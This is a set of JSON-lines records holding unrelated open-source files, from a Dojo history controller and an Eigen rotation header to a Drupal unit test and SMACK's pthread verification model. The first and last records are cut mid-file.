stack or do history go, back and forward,\n\t\t\t// so we use _addToHistoryStack to indentify the refresh operation.\n\t\t\tif(this._addToHistoryStack && (this._oldHistoryLen === this._newHistoryLen)){\n\t\t\t\tthis._historyStack.splice((this._newHistoryLen - this._historyDiff - 1), (this._historyStack.length - 1));\n\t\t\t\tthis._addHistory(currentHash);\n\n\t\t\t\t// It's a refresh operation, so that's no need to check history go, back or forward, just return.\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t//window.history.length increase, add hash to application history stack.\n\t\t\tif(this._historyLen < window.history.length){\n\t\t\t\tthis._addHistory(currentHash);\n\t\t\t\tif (!this._startTransitionEvent) {\n\t\t\t\t\t// transition to the target view\n\t\t\t\t\tthis.app.trigger(\"transition\", {\n\t\t\t\t\t\t\"viewId\": currentHash\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tif(currentHash == this._current){\n\t\t\t\t\tconsole.log(\"do nothing.\");\n\t\t\t\t}else if(currentHash === this._previous){ // back\n\t\t\t\t\tthis._back(currentHash, this._historyStack[this._index]['detail']);\n\t\t\t\t}else if(currentHash === this._next){ //forward\n\t\t\t\t\tthis._forward(currentHash, this._historyStack[this._index]['detail']);\n\t\t\t\t}else{ // go\n\t\t\t\t\t//search in 'back' first, then 'forward'\n\t\t\t\t\tvar index = -1;\n\t\t\t\t\tfor(var i = this._index; i > 0; i--){\n\t\t\t\t\t\tif(currentHash === this._historyStack[i]['hash']){\n\t\t\t\t\t\t\tindex = i;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//search in 'forward'\n\t\t\t\t\tif(-1 === index){\n\t\t\t\t\t\tfor(var i = this._index; i < this._historyStack.length; i++){\n\t\t\t\t\t\t\tif(currentHash === this._historyStack[i]['hash']){\n\t\t\t\t\t\t\t\tindex = i;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif(0 < index < this._historyStack.length){\n\t\t\t\t\t\tthis._go(index, (index - this._index));\n\t\t\t\t\t}else{\n\t\t\t\t\t\tconsole.log(\"go error. index out of history stack.\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t// set startTransition event flag to false\n\t\t\tthis._startTransitionEvent = false;\n\t\t},\n\n\t\t_back: function(currentHash, detail){\n\t\t\tconsole.log(\"back\");\n\t\t\tthis._next = this._historyStack[this._index]['hash'];\n\t\t\tthis._index--;\n\t\t\tif(this._index > 0){\n\t\t\t\tthis._previous = this._historyStack[this._index - 1]['hash'];\n\t\t\t}else{\n\t\t\t\tthis._previous = null;\n\t\t\t}\n\t\t\tthis._current = currentHash;\n\n\t\t\t// publish history back event\n\t\t\ttopic.publish(\"/app/history/back\", {\"viewId\": currentHash, \"detail\": detail});\n\n\t\t\t// transition to the target view\n\t\t\tthis.app.trigger(\"transition\", {\n\t\t\t\t\"viewId\": currentHash,\n\t\t\t\t\"opts\": {reverse: true}\n\t\t\t});\n\t\t},\n\n\t\t_forward: function(currentHash, detail){\n\t\t\tconsole.log(\"forward\");\n\t\t\tthis._previous = this._historyStack[this._index]['hash'];\n\t\t\tthis._index++;\n\t\t\tif(this._index < this._historyStack.length - 1){\n\t\t\t\tthis._next = this._historyStack[this._index + 1]['hash'];\n\t\t\t}else{\n\t\t\t\tthis._next = null;\n\t\t\t}\n\t\t\tthis._current = currentHash;\n\n\t\t\t// publish history forward event\n\t\t\ttopic.publish(\"/app/history/forward\", {\"viewId\": currentHash, \"detail\": detail});\n\n\t\t\t// transition to the target view\n\t\t\tthis.app.trigger(\"transition\", {\n\t\t\t\t\"viewId\": currentHash,\n\t\t\t\t\"opts\": {reverse: false}\n\t\t\t});\n\t\t},\n\n\t\t_go: function(index, step){\n\t\t\tif(index < 0 || (index > window.history.length - 1)){\n\t\t\t\tthrow Error(\"Application history.go steps out of management.\");\n\t\t\t}\n\n\t\t\tthis._index = index;\n\t\t\tthis._current = this._historyStack[index]['hash'];\n\t\t\tthis._previous = this._historyStack[index - 1] ? this._historyStack[index - 1]['hash'] : null;\n\t\t\tthis._next = this._historyStack[index + 1] ? this._historyStack[index + 1]['hash'] : null;\n\n\t\t\t// publish history go event\n\t\t\ttopic.publish(\"/app/history/go\", {\"viewId\": this._current, \"step\": step, \"detail\": this._historyStack[index][\"detail\"]});\n\n\t\t\tvar param;\n\t\t\tif(step > 0){\n\t\t\t\tparam = {\n\t\t\t\t\t\"viewId\": this._current,\n\t\t\t\t\t\"opts\": {reverse: false}\n\t\t\t\t};\n\t\t\t}else{\n\t\t\t\tparam = {\n\t\t\t\t\t\"viewId\": this._current,\n\t\t\t\t\t\"opts\": {reverse: true}\n\t\t\t\t};\n\t\t\t}\n\t\t\t// transition to the target view\n\t\t\tthis.app.trigger(\"transition\", param);\n\t\t}\n\t});\n});\n"} {"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.openide.filesystems;\n\nimport java.io.File;\nimport org.openide.modules.ConstructorDelegate;\nimport org.openide.modules.PatchFor;\n\n/**\n *\n * @author sdedic\n */\n@PatchFor(LocalFileSystem.class)\npublic abstract class LocalFileSystemCompat extends AbstractFileSystem {\n public LocalFileSystemCompat() {\n \n }\n \n @ConstructorDelegate\n public static void createLocalFileSystemCompat(LocalFileSystemCompat self, FileSystemCapability cap) {\n FileSystemCompat.compat(self).setCapability(cap);\n }\n \n /** Prepare environment by adding the root directory of the filesystem to the class path.\n * @param environment the environment to add to\n * @deprecated Useless.\n */\n @Deprecated\n public void prepareEnvironment(FileSystem$Environment environment) {\n environment.addClassPath(getRootDirectory().getAbsolutePath());\n }\n \n public abstract File getRootDirectory();\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<?eclipse version=\"3.4\"?>\n<plugin>\n <extension\n point=\"org.eclipse.e4.ui.css.swt.theme\">\n <theme\n basestylesheeturi=\"css/geppettoclassic.css\"\n id=\"com.puppetlabs.geppetto.themes.classic\"\n label=\"Geppetto Classic\">\n </theme>\n </extension>\n\n</plugin>\n"} {"text": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n\t<style>\n\t\tbody {\n\t\t\tbackground: url('../1x1.jpg');\n\t\t}\n\t</style>\n\t<script src=\"../../jquery.js\"></script>\n</head>\n<body>\n\t<script>\n\t\twindow.parent.iframeCallback();\n\t</script>\n</body>\n</html>\n"} {"text": "/*\n** $Id: lptypes.h,v 1.14 2015/09/28 17:17:41 roberto Exp $\n** LPeg - PEG pattern matching for Lua\n** Copyright 2007-2015, Lua.org & PUC-Rio (see 'lpeg.html' for license)\n** written by Roberto Ierusalimschy\n*/\n\n#if !defined(lptypes_h)\n#define lptypes_h\n\n\n#if !defined(LPEG_DEBUG)\n#define NDEBUG\n#endif\n\n#include <assert.h>\n#include <limits.h>\n\n#include \"lua.h\"\n\n\n#define VERSION \"1.0.0\"\n\n\n#define PATTERN_T\t\"lpeg-pattern\"\n#define MAXSTACKIDX\t\"lpeg-maxstack\"\n\n\n/*\n** compatibility with Lua 5.1\n*/\n#if (LUA_VERSION_NUM == 501)\n\n#define lp_equal\tlua_equal\n\n#define lua_getuservalue\tlua_getfenv\n#define lua_setuservalue\tlua_setfenv\n\n#define lua_rawlen\t\tlua_objlen\n\n#define luaL_setfuncs(L,f,n)\tluaL_register(L,NULL,f)\n#define luaL_newlib(L,f)\tluaL_register(L,\"lpeg\",f)\n\n#endif\n\n\n#if !defined(lp_equal)\n#define lp_equal(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPEQ)\n#endif\n\n\n/* default maximum size for call/backtrack stack */\n#if !defined(MAXBACK)\n#define MAXBACK 400\n#endif\n\n\n/* maximum number of rules in a grammar */\n#if !defined(MAXRULES)\n#define MAXRULES 1000\n#endif\n\n\n\n/* initial size for capture's list */\n#define INITCAPSIZE\t32\n\n\n/* index, on Lua stack, for subject */\n#define SUBJIDX\t\t2\n\n/* number of fixed arguments to 'match' (before capture arguments) */\n#define FIXEDARGS\t3\n\n/* index, on Lua stack, for capture list */\n#define caplistidx(ptop)\t((ptop) + 2)\n\n/* index, on Lua stack, for pattern's ktable */\n#define ktableidx(ptop)\t\t((ptop) + 3)\n\n/* index, on Lua stack, for backtracking stack */\n#define stackidx(ptop)\t((ptop) + 4)\n\n\n\ntypedef unsigned char byte;\n\n\n#define BITSPERCHAR\t\t8\n\n#define CHARSETSIZE\t\t((UCHAR_MAX/BITSPERCHAR) + 1)\n\n\n\ntypedef struct Charset {\n byte cs[CHARSETSIZE];\n} Charset;\n\n\n\n#define loopset(v,b) { int v; for (v = 0; v < CHARSETSIZE; v++) {b;} }\n\n/* access to charset */\n#define treebuffer(t) ((byte *)((t) + 1))\n\n/* number of slots needed for 'n' bytes */\n#define bytes2slots(n) (((n) - 1) / sizeof(TTree) + 1)\n\n/* set 'b' bit in charset 'cs' */\n#define setchar(cs,b) ((cs)[(b) >> 3] |= (1 << ((b) & 7)))\n\n\n/*\n** in capture instructions, 'kind' of capture and its offset are\n** packed in field 'aux', 4 bits for each\n*/\n#define getkind(op)\t\t((op)->i.aux & 0xF)\n#define getoff(op)\t\t(((op)->i.aux >> 4) & 0xF)\n#define joinkindoff(k,o)\t((k) | ((o) << 4))\n\n#define MAXOFF\t\t0xF\n#define MAXAUX\t\t0xFF\n\n\n/* maximum number of bytes to look behind */\n#define MAXBEHIND\tMAXAUX\n\n\n/* maximum size (in elements) for a pattern */\n#define MAXPATTSIZE\t(SHRT_MAX - 10)\n\n\n/* size (in elements) for an instruction plus extra l bytes */\n#define instsize(l) (((l) + sizeof(Instruction) - 1)/sizeof(Instruction) + 1)\n\n\n/* size (in elements) for a ISet instruction */\n#define CHARSETINSTSIZE\t\tinstsize(CHARSETSIZE)\n\n/* size (in elements) for a IFunc instruction */\n#define funcinstsize(p)\t\t((p)->i.aux + 2)\n\n\n\n#define testchar(st,c)\t(((int)(st)[((c) >> 3)] & (1 << ((c) & 7))))\n\n\n#endif\n\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<Patch>\n\t<Operation Class=\"PatchOperationSequence\">\n\t\t<success>Always</success>\n\t\t<operations>\n\t\t\t<!-- ==== Checking for the mod ==== -->\n\t\t\t<li Class=\"CombatExtended.PatchOperationFindMod\">\n\t\t\t\t<modName>Medical System Expansion - Revived</modName>\n\t\t\t</li>\n\n\t\t\t<!-- ==== Bases ==== -->\n\t\t\t<!-- Simple -->\n\t\t\t<li Class=\"PatchOperationReplace\">\n\t\t\t\t<xpath>Defs/HediffDef[@Name=\"MSE_AddedBodyPartSimpleBase\"]/stages/li/statOffsets</xpath>\n\t\t\t\t<value>\n\t\t\t\t\t<statOffsets>\n\t\t\t\t\t\t<ArmorRating_Blunt>0.138</ArmorRating_Blunt>\n\t\t\t\t\t\t<ArmorRating_Sharp>0.075</ArmorRating_Sharp>\n\t\t\t\t\t</statOffsets>\n\t\t\t\t</value>\n\t\t\t</li>\n\t\t\t<!-- Bionic -->\n\t\t\t<li Class=\"PatchOperationReplace\">\n\t\t\t\t<xpath>Defs/HediffDef[@Name=\"MSE_AddedBodyPartBionicBase\"]/stages/li/statOffsets</xpath>\n\t\t\t\t<value>\n\t\t\t\t\t<statOffsets>\n\t\t\t\t\t\t<ArmorRating_Blunt>0.39</ArmorRating_Blunt>\n\t\t\t\t\t\t<ArmorRating_Sharp>0.212</ArmorRating_Sharp>\n\t\t\t\t\t\t<ArmorRating_Heat>0.106</ArmorRating_Heat>\n\t\t\t\t\t</statOffsets>\n\t\t\t\t</value>\n\t\t\t</li>\n\t\t\t<!-- Archotech -->\n\t\t\t<li Class=\"PatchOperationReplace\">\n\t\t\t\t<xpath>Defs/HediffDef[@Name=\"MSE_AddedBodyPartArchotechBase\"]/stages/li/statOffsets</xpath>\n\t\t\t\t<value>\n\t\t\t\t\t<statOffsets>\n\t\t\t\t\t\t<ArmorRating_Blunt>1.102</ArmorRating_Blunt>\n\t\t\t\t\t\t<ArmorRating_Sharp>0.6</ArmorRating_Sharp>\n\t\t\t\t\t\t<ArmorRating_Heat>0.3</ArmorRating_Heat>\n\t\t\t\t\t</statOffsets>\n\t\t\t\t</value>\n\t\t\t</li>\n\t\t</operations>\n\t</Operation>\n</Patch>"} {"text": "<?php\n\nnamespace Drupal\\Tests\\simpletest\\Unit;\n\nuse Drupal\\Tests\\UnitTestCase;\n\n/**\n * Tests that classes are correctly loaded during PHPUnit initialization.\n *\n * @group simpletest\n */\nclass PhpUnitAutoloaderTest extends UnitTestCase {\n\n /**\n * Test loading of classes provided by test sub modules.\n */\n public function testPhpUnitTestClassesLoading() {\n $this->assertTrue(class_exists('\\Drupal\\phpunit_test\\PhpUnitTestDummyClass'), 'Class provided by test module was not autoloaded.');\n }\n\n}\n"} {"text": "# How to generate your own inputs\n\nTo run the borrow checker on an input, you first need to generate the\ninput facts. For that, you will need to run rustc with the\n`-Znll-facts` option:\n\n```\n> rustc -Znll-facts inputs/issue-47680/issue-47680.rs\n```\n\nOr, for generating the input facts of a crate using the `#![feature(nll)]` flag:\n\n```\n> cargo rustc -- -Znll-facts\n```\n\nThis will generate a `nll-facts` directory with one subdirectory per function:\n\n```bash\n> ls -F nll-facts\n{{impl}}-maybe_next/ main/\n```\n\nYou can then run on these directories.\n"} {"text": "// This file is part of Eigen, a lightweight C++ template library\n// for linear algebra.\n//\n// Copyright (C) 2008 Gael Guennebaud <gael.guennebaud@inria.fr>\n//\n// This Source Code Form is subject to the terms of the Mozilla\n// Public License v. 2.0. If a copy of the MPL was not distributed\n// with this file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\n#ifndef EIGEN_ROTATIONBASE_H\n#define EIGEN_ROTATIONBASE_H\n\nnamespace Eigen { \n\n// forward declaration\nnamespace internal {\ntemplate<typename RotationDerived, typename MatrixType, bool IsVector=MatrixType::IsVectorAtCompileTime>\nstruct rotation_base_generic_product_selector;\n}\n\n/** \\class RotationBase\n *\n * \\brief Common base class for compact rotation representations\n *\n * \\tparam Derived is the derived type, i.e., a rotation type\n * \\tparam _Dim the dimension of the space\n */\ntemplate<typename Derived, int _Dim>\nclass RotationBase\n{\n public:\n enum { Dim = _Dim };\n /** the scalar type of the coefficients */\n typedef typename internal::traits<Derived>::Scalar Scalar;\n\n /** corresponding linear transformation matrix type */\n typedef Matrix<Scalar,Dim,Dim> RotationMatrixType;\n typedef Matrix<Scalar,Dim,1> VectorType;\n\n public:\n EIGEN_DEVICE_FUNC inline const Derived& derived() const { return *static_cast<const Derived*>(this); }\n EIGEN_DEVICE_FUNC inline Derived& derived() { return *static_cast<Derived*>(this); }\n\n /** \\returns an equivalent rotation matrix */\n EIGEN_DEVICE_FUNC inline RotationMatrixType toRotationMatrix() const { return derived().toRotationMatrix(); }\n\n /** \\returns an equivalent rotation matrix \n * This function is added to be conform with the Transform class' naming scheme.\n */\n EIGEN_DEVICE_FUNC inline RotationMatrixType matrix() const { return derived().toRotationMatrix(); }\n\n /** \\returns the inverse rotation */\n EIGEN_DEVICE_FUNC inline Derived inverse() const { return derived().inverse(); }\n\n /** \\returns the concatenation of the rotation \\c *this with a translation \\a t */\n EIGEN_DEVICE_FUNC inline Transform<Scalar,Dim,Isometry> operator*(const Translation<Scalar,Dim>& t) const\n { return Transform<Scalar,Dim,Isometry>(*this) * t; }\n\n /** \\returns the concatenation of the rotation \\c *this with a uniform scaling \\a s */\n EIGEN_DEVICE_FUNC inline RotationMatrixType operator*(const UniformScaling<Scalar>& s) const\n { return toRotationMatrix() * s.factor(); }\n\n /** \\returns the concatenation of the rotation \\c *this with a generic expression \\a e\n * \\a e can be:\n * - a DimxDim linear transformation matrix\n * - a DimxDim diagonal matrix (axis aligned scaling)\n * - a vector of size Dim\n */\n template<typename OtherDerived>\n EIGEN_DEVICE_FUNC EIGEN_STRONG_INLINE typename internal::rotation_base_generic_product_selector<Derived,OtherDerived,OtherDerived::IsVectorAtCompileTime>::ReturnType\n operator*(const EigenBase<OtherDerived>& e) const\n { return internal::rotation_base_generic_product_selector<Derived,OtherDerived>::run(derived(), e.derived()); }\n\n /** \\returns the concatenation of a linear transformation \\a l with the rotation \\a r */\n template<typename OtherDerived> friend\n EIGEN_DEVICE_FUNC inline RotationMatrixType operator*(const EigenBase<OtherDerived>& l, const Derived& r)\n { return l.derived() * r.toRotationMatrix(); }\n\n /** \\returns the concatenation of a scaling \\a l with the rotation \\a r */\n EIGEN_DEVICE_FUNC friend inline Transform<Scalar,Dim,Affine> operator*(const DiagonalMatrix<Scalar,Dim>& l, const Derived& r)\n { \n Transform<Scalar,Dim,Affine> res(r);\n res.linear().applyOnTheLeft(l);\n return res;\n }\n\n /** \\returns the concatenation of the rotation \\c *this with a transformation \\a t */\n template<int Mode, int Options>\n EIGEN_DEVICE_FUNC inline Transform<Scalar,Dim,Mode> operator*(const Transform<Scalar,Dim,Mode,Options>& t) const\n { return toRotationMatrix() * t; }\n\n template<typename OtherVectorType>\n EIGEN_DEVICE_FUNC inline VectorType _transformVector(const OtherVectorType& v) const\n { return toRotationMatrix() * v; }\n};\n\nnamespace internal {\n\n// implementation of the generic product rotation * matrix\ntemplate<typename RotationDerived, typename MatrixType>\nstruct rotation_base_generic_product_selector<RotationDerived,MatrixType,false>\n{\n enum { Dim = RotationDerived::Dim };\n typedef Matrix<typename RotationDerived::Scalar,Dim,Dim> ReturnType;\n EIGEN_DEVICE_FUNC static inline ReturnType run(const RotationDerived& r, const MatrixType& m)\n { return r.toRotationMatrix() * m; }\n};\n\ntemplate<typename RotationDerived, typename Scalar, int Dim, int MaxDim>\nstruct rotation_base_generic_product_selector< RotationDerived, DiagonalMatrix<Scalar,Dim,MaxDim>, false >\n{\n typedef Transform<Scalar,Dim,Affine> ReturnType;\n EIGEN_DEVICE_FUNC static inline ReturnType run(const RotationDerived& r, const DiagonalMatrix<Scalar,Dim,MaxDim>& m)\n {\n ReturnType res(r);\n res.linear() *= m;\n return res;\n }\n};\n\ntemplate<typename RotationDerived,typename OtherVectorType>\nstruct rotation_base_generic_product_selector<RotationDerived,OtherVectorType,true>\n{\n enum { Dim = RotationDerived::Dim };\n typedef Matrix<typename RotationDerived::Scalar,Dim,1> ReturnType;\n EIGEN_DEVICE_FUNC static EIGEN_STRONG_INLINE ReturnType run(const RotationDerived& r, const OtherVectorType& v)\n {\n return r._transformVector(v);\n }\n};\n\n} // end namespace internal\n\n/** \\geometry_module\n *\n * \\brief Constructs a Dim x Dim rotation matrix from the rotation \\a r\n */\ntemplate<typename _Scalar, int _Rows, int _Cols, int _Storage, int _MaxRows, int _MaxCols>\ntemplate<typename OtherDerived>\nEIGEN_DEVICE_FUNC Matrix<_Scalar, _Rows, _Cols, _Storage, _MaxRows, _MaxCols>\n::Matrix(const RotationBase<OtherDerived,ColsAtCompileTime>& r)\n{\n EIGEN_STATIC_ASSERT_MATRIX_SPECIFIC_SIZE(Matrix,int(OtherDerived::Dim),int(OtherDerived::Dim))\n *this = r.toRotationMatrix();\n}\n\n/** \\geometry_module\n *\n * \\brief Set a Dim x Dim rotation matrix from the rotation \\a r\n */\ntemplate<typename _Scalar, int _Rows, int _Cols, int _Storage, int _MaxRows, int _MaxCols>\ntemplate<typename OtherDerived>\nEIGEN_DEVICE_FUNC Matrix<_Scalar, _Rows, _Cols, _Storage, _MaxRows, _MaxCols>&\nMatrix<_Scalar, _Rows, _Cols, _Storage, _MaxRows, _MaxCols>\n::operator=(const RotationBase<OtherDerived,ColsAtCompileTime>& r)\n{\n EIGEN_STATIC_ASSERT_MATRIX_SPECIFIC_SIZE(Matrix,int(OtherDerived::Dim),int(OtherDerived::Dim))\n return *this = r.toRotationMatrix();\n}\n\nnamespace internal {\n\n/** \\internal\n *\n * Helper function to return an arbitrary rotation object to a rotation matrix.\n *\n * \\tparam Scalar the numeric type of the matrix coefficients\n * \\tparam Dim the dimension of the current space\n *\n * It returns a Dim x Dim fixed size matrix.\n *\n * Default specializations are provided for:\n * - any scalar type (2D),\n * - any matrix expression,\n * - any type based on RotationBase (e.g., Quaternion, AngleAxis, Rotation2D)\n *\n * Currently toRotationMatrix is only used by Transform.\n *\n * \\sa class Transform, class Rotation2D, class Quaternion, class AngleAxis\n */\ntemplate<typename Scalar, int Dim>\nEIGEN_DEVICE_FUNC static inline Matrix<Scalar,2,2> toRotationMatrix(const Scalar& s)\n{\n EIGEN_STATIC_ASSERT(Dim==2,YOU_MADE_A_PROGRAMMING_MISTAKE)\n return Rotation2D<Scalar>(s).toRotationMatrix();\n}\n\ntemplate<typename Scalar, int Dim, typename OtherDerived>\nEIGEN_DEVICE_FUNC static inline Matrix<Scalar,Dim,Dim> toRotationMatrix(const RotationBase<OtherDerived,Dim>& r)\n{\n return r.toRotationMatrix();\n}\n\ntemplate<typename Scalar, int Dim, typename OtherDerived>\nEIGEN_DEVICE_FUNC static inline const MatrixBase<OtherDerived>& toRotationMatrix(const MatrixBase<OtherDerived>& mat)\n{\n EIGEN_STATIC_ASSERT(OtherDerived::RowsAtCompileTime==Dim && OtherDerived::ColsAtCompileTime==Dim,\n YOU_MADE_A_PROGRAMMING_MISTAKE)\n return mat;\n}\n\n} // end namespace internal\n\n} // end namespace Eigen\n\n#endif // EIGEN_ROTATIONBASE_H\n"} {"text": "//\n// This file is distributed under the MIT License. See LICENSE for details.\n//\n#include \"pthread.h\"\n#include \"smack.h\"\n\nvoid *__SMACK_PthreadReturn[SMACK_MAX_THREADS];\n\nvoid __SMACK_init_tidtype() {\n#ifdef BIT_PRECISE\n __SMACK_top_decl(\"type $tidtype = bv32;\");\n#else\n __SMACK_top_decl(\"type $tidtype = i32;\");\n#endif\n}\n\nvoid __SMACK_init_func_corral_primitives() {\n // Declare these, so bpl parsing doesn't complain\n __SMACK_top_decl(\"procedure corral_getThreadID() returns (x:$tidtype);\");\n __SMACK_top_decl(\"procedure corral_getChildThreadID() returns (x:$tidtype);\");\n}\n\nvoid __SMACK_init_func_thread() {\n // Array and possible statuses for tracking pthreads\n __SMACK_top_decl(\"var $pthreadStatus: [$tidtype]int;\");\n __SMACK_top_decl(\"const unique $pthread_uninitialized: int;\");\n __SMACK_top_decl(\"const unique $pthread_initialized: int;\");\n __SMACK_top_decl(\"const unique $pthread_waiting: int;\");\n __SMACK_top_decl(\"const unique $pthread_running: int;\");\n __SMACK_top_decl(\"const unique $pthread_stopped: int;\");\n // Initialize this array so all threads begin as uninitialized\n __SMACK_code(\"assume (forall i:$tidtype :: $pthreadStatus[i] == \"\n \"$pthread_uninitialized);\");\n}\n\npthread_t pthread_self(void) {\n int tmp_tid = __VERIFIER_nondet_int();\n __SMACK_code(\"call @ := corral_getThreadID();\", tmp_tid);\n __VERIFIER_assume(tmp_tid < SMACK_MAX_THREADS);\n\n // Print actual tid to SMACK traces\n int actual_tid = tmp_tid;\n\n return actual_tid;\n}\n\nint pthread_equal(pthread_t t1, pthread_t t2) {\n // Return non-zero if threads are equal. 0 otherwise.\n return (int)t1 == (int)t2;\n}\n\nint pthread_join(pthread_t __th, void **__thread_return) {\n pthread_t calling_tid = pthread_self();\n\n // Print the tid of the thread being joined to SMACK traces\n int joining_tid = __th;\n\n // Check for self-joining deadlock\n if (calling_tid == __th)\n return 35; // This is EDEADLK\n\n // Wait for the thread to terminate\n __SMACK_code(\"assume $pthreadStatus[@] == $pthread_stopped;\", __th);\n\n if (__thread_return) {\n *__thread_return = __SMACK_PthreadReturn[__th];\n\n // Print return pointer value to SMACK traces\n void *actual_thread_return_pointer = *__thread_return;\n }\n\n return 0;\n}\n\n// TODO: A terminating thread that DOESN'T call pthread_exit() should have\n// an implicit call to pthread_exit(). This is not currently modeled.\n// Further, a child thread's routine which uses `return` calls should\n// have the returned value passed to this implicit call to pthread_exit().\n// In other words, a `return` should pass its value to an implicit call to\n// pthread_exit().\nvoid pthread_exit(void *retval) {\n pthread_t tid = pthread_self();\n\n// Ensure exit hasn't already been called\n#ifndef DISABLE_PTHREAD_ASSERTS\n __SMACK_code(\"assert $pthreadStatus[@] == $pthread_running;\", tid);\n#endif\n __SMACK_PthreadReturn[tid] = retval;\n\n // Set return pointer value for display in SMACK traces\n void *pthread_return_pointer = retval;\n}\n\nint pthread_mutexattr_init(pthread_mutexattr_t *attr) {\n attr->type = PTHREAD_MUTEX_NORMAL;\n return 0;\n}\n\nint pthread_mutexattr_settype(pthread_mutexattr_t *attr, int type) {\n attr->type = type;\n return 0;\n}\n\nint pthread_mutex_init(pthread_mutex_t *mutex,\n const pthread_mutexattr_t *attr) {\n // Can't check for already initialized error,\n // since uninitialized values are nondet and could be INITIALIZED\n mutex->lock = UNLOCKED;\n mutex->init = INITIALIZED;\n if (attr == 0) {\n pthread_mutexattr_init(&mutex->attr);\n } else {\n mutex->attr.type = attr->type;\n // Any additional info modeled from attr should be copied,\n // as changes to attr should not apply to mutexes alread initialized\n // (as opposed to directly setting mutex->attr = attr)\n }\n return 0;\n}\n\nint pthread_mutex_lock(pthread_mutex_t *__mutex) {\n int tid = (int)pthread_self();\n // Ensure mutex is initialized & hasn't already been locked by caller\n if (__mutex->attr.type == PTHREAD_MUTEX_NORMAL) {\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(__mutex->init == INITIALIZED);\n assert(__mutex->lock != tid);\n#endif\n } else if (__mutex->attr.type == PTHREAD_MUTEX_ERRORCHECK) {\n if (__mutex->init != INITIALIZED)\n return 22; // This is EINVAL\n if (__mutex->lock == tid)\n return 35; // This is EDEADLK\n } else {\n// Other types not currently implemented\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(0);\n#endif\n }\n __SMACK_code(\"call corral_atomic_begin();\");\n // Wait for lock to become free\n __VERIFIER_assume(__mutex->lock == UNLOCKED);\n __mutex->lock = tid;\n __SMACK_code(\"call corral_atomic_end();\");\n return 0;\n}\n\nint pthread_mutex_unlock(pthread_mutex_t *__mutex) {\n int tid = (int)pthread_self();\n // Ensure mutex is initialized & caller is current owner\n if (__mutex->attr.type == PTHREAD_MUTEX_NORMAL) {\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(__mutex->init == INITIALIZED);\n assert(__mutex->lock == tid);\n#endif\n } else if (__mutex->attr.type == PTHREAD_MUTEX_ERRORCHECK) {\n if (__mutex->init != INITIALIZED)\n return 22; // This is EINVAL\n if (__mutex->lock != tid)\n return 1; // This is EPERM\n } else {\n// Other types not currently implemented\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(0);\n#endif\n }\n __SMACK_code(\"call corral_atomic_begin();\");\n __mutex->lock = UNLOCKED;\n __SMACK_code(\"call corral_atomic_end();\");\n return 0;\n}\n\nint pthread_mutex_destroy(pthread_mutex_t *__mutex) {\n// Make sure the lock is initialized, and unlocked\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(__mutex->init == INITIALIZED);\n assert(__mutex->lock == UNLOCKED);\n#endif\n __SMACK_code(\"call corral_atomic_begin();\");\n __mutex->init = UNINITIALIZED;\n __SMACK_code(\"call corral_atomic_end();\");\n return 0;\n}\n\nint pthread_cond_init(pthread_cond_t *__cond, pthread_condattr_t *__condattr) {\n if (__condattr == 0) {\n __cond->cond = 0;\n __cond->init = INITIALIZED;\n } else {\n// Unimplemented\n// NOTE: if implemented, attr should be a copy of __condattr passed in\n// (spec says changes to condattr doesn't affect initialized conds\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(0);\n#endif\n }\n return 0;\n}\n\nint pthread_cond_wait(pthread_cond_t *__cond, pthread_mutex_t *__mutex) {\n// Ensure conditional var is initialized, and mutex is locked properly\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(__cond->init == INITIALIZED);\n assert((int)pthread_self() == __mutex->lock);\n#endif\n pthread_mutex_unlock(__mutex);\n // Wait to be woken up\n // No need to check for signal on __cond, since OS can do spurious wakeup\n // Call to pthread_cond_wait should always be protected by while loop\n\n // Adding var checks in improves performance\n\n // assume(__cond->cond == 1);\n //__cond->cond = 0;\n pthread_mutex_lock(__mutex);\n return 0;\n}\n\nint pthread_cond_signal(pthread_cond_t *__cond) {\n // Do nothing, since state of __cond doesn't matter\n // due to possibility of spurious wakeup from OS\n\n //__cond->cond = 1;\n return 0;\n}\n\n// NOTE: How to handle broadcast? Technically, as is, all threads have\n// the opportunity to read __cond->cond before one of the other threads\n// switch this value back to 0... I guess this is sufficient, but\n// will this require a high number of context switches for a true\n// broadcast to happen?\n//\n// I thought about using cond->cond = 2 to signal broadcast, but then\n// how to know which thread to have switch it back to 0?\n\nint pthread_cond_broadcast(pthread_cond_t *__cond) {\n // Do nothing, since state of __cond doesn't matter\n // due to possibility of spurious wakeup from OS\n\n //__cond->cond = 1;\n return 0;\n}\n\nint pthread_cond_destroy(pthread_cond_t *__cond) {\n// Make sure the cond is initialized\n#ifndef DISABLE_PTHREAD_ASSERTS\n assert(__cond->init == INITIALIZED);\n#endif\n __cond->init = UNINITIALIZED;\n return 0;\n}\n\nvoid __call_wrapper(pthread_t *__newthread, void *(*__start_routine)(void *),\n void *__arg) {\n\n pthread_t ctid = pthread_self();\n // Wait for 